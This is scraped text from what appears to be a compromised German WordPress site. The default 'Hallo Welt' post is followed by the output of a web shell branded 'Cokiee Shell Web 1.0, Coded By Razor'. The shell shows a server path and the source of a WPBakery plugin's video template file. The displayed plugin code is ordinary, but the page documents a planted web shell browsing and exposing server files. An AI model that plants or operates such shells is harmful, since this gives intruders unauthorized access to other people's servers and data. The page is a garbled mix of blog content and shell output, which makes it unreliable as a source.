Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web284/html/wp-content/plugins/js_composer/composer/shortcodes_templates/ |
Current File : //var/www/web284/html/wp-content/plugins/js_composer/composer/shortcodes_templates/vc_video.php |
<?php $output = $title = $link = $size = $el_class = ''; extract(shortcode_atts(array( 'title' => '', 'link' => 'http://vimeo.com/23237102', 'size' => ( isset($content_width) ) ? $content_width : 500, 'el_class' => '' ), $atts)); if ( $link == '' ) { return null; } $el_class = $this->getExtraClass($el_class); $video_w = ( isset($content_width) ) ? $content_width : 500; $video_h = $video_w/1.61; //1.61 golden ratio global $wp_embed; $embed = $wp_embed->run_shortcode('[embed width="'.$video_w.'"'.$video_h.']'.$link.'[/embed]'); $css_class = apply_filters(VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, 'wpb_video_widget wpb_content_element'.$el_class, $this->settings['base']); $output .= "\n\t".'<div class="'.$css_class.'">'; $output .= "\n\t\t".'<div class="wpb_wrapper">'; $output .= wpb_widget_title(array('title' => $title, 'extraclass' => 'wpb_video_heading')); $output .= '<div class="wpb_video_wrapper">' . $embed . '</div>'; $output .= "\n\t\t".'</div> '.$this->endBlockComment('.wpb_wrapper'); $output .= "\n\t".'</div> '.$this->endBlockComment('.wpb_video_widget'); echo $output;
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare